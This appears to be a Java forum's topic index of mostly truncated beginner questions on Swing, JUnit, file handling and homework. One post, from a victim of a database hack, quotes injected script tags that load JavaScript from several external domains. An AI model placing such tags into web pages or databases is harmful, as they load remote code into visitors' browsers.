32,199 Topics
| |
Hi friends, This is my first post in this forum. How can i get the locale(country name) from a system date.My intention is date display must determine from system what the locale is and display date appropriately ? Thanks In Advance. | |
ImageIO.read does not work for jpgs in cmyk trying to find a method to read it been searching on google but found lot of different results. Maybe one of you know a easy method to do this. | |
Hi all. I have this assignment to show a panel to allow users to dynamically alter FlowLayout manager parameters. It doesnt look that pretty, but functionally it is working for the most part. I have most of it up and running, but I simply cannot get the JComboBox working. I … | |
Hi I am making a program, and this program is supposed to overwrite a file on a network drive. But I get a FileNotFoundException "filename" (Access Denied), even though I have the authority to do anything on this network drive. Can I provide my program with my password and username … | |
Hi All I was reading through the swing tutorial at [URL="http://java.sun.com/docs/books/tutorial/uiswing/start/compile.html"]http://java.sun.com/docs/books/tutorial/uiswing/start/compile.html[/URL] and i copied and pasted the provided source code for the HelloWorldSwing.java program. It compiled fine but when i went to run it the following error message was returned [QUOTE]java HelloWorldSwing Exception in thread "main" java.lang.NoClassDefFoundError: HelloWorldSwing (wrong name: … | |
init: deps-jar: Compiling 1 source file to C:\NetBeansProjects\SCHOOL1\JavaApplication31\build\classes C:\NetBeansProjects\SCHOOL1\JavaApplication31\src\javaapplication31\Inventory3a.java:185: cannot find symbol symbol : constructor Product(java.lang.String,double,double,double) location: class javaapplication31.Product super( dvdTitle, dvdItemNumber, dvdStock, dvdPrice); 1 error BUILD FAILED (total time: 0 seconds) [CODE] package javaapplication31; import java.util.Arrays; public class Inventory3a{ Inventory3a() { // constructor Product[] dvd = new Product[4]; dvd[0] … | |
Four times my MSSQL Server hacked. Somebody inserts most of the tables text, varchar fields with its value adding at the end with<script src=http://www.pyttco.com/ngg.js></script> I changed my ftp usernamd and password, database username and password. Still they are able to insert different scripts like <script src=http://www.cdport.eu/ngg.js></script> <script src=http://www.drvadw.com/ngg.js></script> <script src=http://www.bnrc.ru/ngg.js></script> … | |
i have java assignment >> i need any one to help me to solve it >> this is my e-mail >>> [email removed] ............................... Java Assignment 3 1.Use nested loops that print the following pattern:- A) 1 12 123 1234 12345 123456 2.Write a program to compute the sum and … | |
heres my code: [code=java] import java.util.Scanner; import java.lang.Integer; public class hmwrk4 { public static void main(String [] args) {Scanner kbInput = new Scanner(System.in); System.out.print("number of the element to delete: "); int numEle = kbInput.nextInt(); Node n8 = new Node(new Integer(8), null); Node n7 = new Node(new Integer(7), n8); Node n6 … | |
how to write application that calculate squares and cube of the number from 0 to 10 and output in table. the program does not require any input from user? | |
I'm having a small design issue with a Checkers game to be done in Java-- I'm not really worried about coding it, I can do that. The problem is listing out the dependencies between classes. For example, what should be responsible for what? IF I code the program with the … | |
Hey everyone. In a nutshell this is what I want to do. I want to: - Allow developers to write code in C++ using non-latin based languages. i.e > use #define (or whatever) to specify a non-latin based character as a keyword/variable. e.g > Instead of (English): if(x < 1){ … | |
I Used to be a c++ programmer and now i'm starting to learn java all by my self so i need a help in how to get starting begging with compiler and IDE tools and the basic diffrants between c++ and java Thanks | |
I'm trying to write a recursive method that will print a char c, x amount of times on the same line. I was thinking that I could return the recursive function call and concatenate the char c but I don't think my compiler agrees. What exactly are the properties of … | |
Write the definition of a method reverse , whose parameter is an array of integers. The method reverses the elements of the array. The method does not return a value So far I got: [code] public void reverse(int[] backward) { for(int i = (backward.length -1); i >=0;i--){ } } [/code] … | |
Hi. Well, the past year, I have spent learning GUI programming in Java and have created several games (Asteroids, MineSweeper, TicTacToe, etc, etc) in Java. I was wondering if there is an easy way (is it easy at all?) to go from what I know about GUI programming in Java, … | |
Hi! I am trying to do Junit testing with Eclipse 1) download and install Junit 2)set the class path. 3)test the installation by running java org.junit.runner.JUnitCore org.junit.tests.AllTests. i am unable to test my installation (Step-3) it gives me Error: java.lang.ClassCastException : class junit.tests.AllTests Is something wrong with classpath settings? | |
Write a simple graphics editor that allows users to add a mixture of shapes (ellipses, rectangles, and lines in different colors) to a panel. Supply commands to load and save the picture. Basically it wants a program with a buttons for New, Load, Save, Rectangle, Line, Ellipse, Red, Green, Blue, … | |
Hello everyone!!! Does anyone here knows how to create a GroupBox in Java similar in VB.NET and C#. I hope you could help me with this one. YOUR HELP IS HIGHLY APPRECIATED..... | |
I'm working on a program to keep track of a hardware store's inventory. For each item the item ID, item name, # of pieces ordered, # of pieces in stock, manufacturer's price and the selling price. The program must also print out a report. The program is menu driven and … | |
Hi there, i'm having trouble with creating the Pseudocode for my program, the program took me ages to complete with alot of help, i sort of understand what needs to be done, but could someone start me off as i'm unsure of how to begin:- [code]import java.io.*; import java.util.*; public … | |
Can someone help me to write a program that can read and write to a file and then store the user input in the file using the Property and ClassLoader classes.Also when another person uses the program it should tell you the last person to use the program.Thanks in advance | |
Hello. Possibly, this is the best java forum in the whole net. So i thought to ask. I want to capture video from a web-camera. So far, i have enabled the camera using JMF and i can see "inside" the camera. What i want is to capture video in GRAYSCALE, … | |
Dear developers, I lay my apologies if my question do not relate to current category. I am new to Java and trying to build a Java web application where i can use beans (to configure a database connection as well as my database entities) and JSP to present data through … | |
Hello....I run XP, and up until a week ago, there were no problems with watching Youtube. Today, I get.....Hello, you either have JavaScript turned off or an old version of Adobe's Flash Player. Get the latest Flash player..... So, I downloaded the flash player, and it says success, but no … | |
This is my first post and I am new to this so bear with me...I am trying to write a program that will output messages to 1 or more text files. For example if I want to write to 3 log files, depending on what is happening in the code. … | |
Hello! I would like to ask you guys something. I am planning to create Java Word Search Game which find words from the display board when highlighted...Do you guys know any good steps to start with....Please HELP!! Can anyone provide me with a good way to start with it....Thank U! | |
[COLOR="Green"]Netbeans IDE[/COLOR] [COLOR="Green"]Eclipse IDE[/COLOR] [COLOR="Green"]IntelliJ IDEA[/COLOR] Which from the above the the [COLOR="Red"]BEST[/COLOR], [COLOR="Red"]USER FRIENDLY[/COLOR], [COLOR="Red"]COMPLETE[/COLOR] IDE to use to design/create GUI for Java based programs. Please advise. Thanks. | |
I have a programm that runs an applet. It loads a series of images and paints them. The problem is the programm seems to not to paint the images in the same order..or rather it skips some of the images....what can i do? I tried using the udate(screen) function but … |
The End.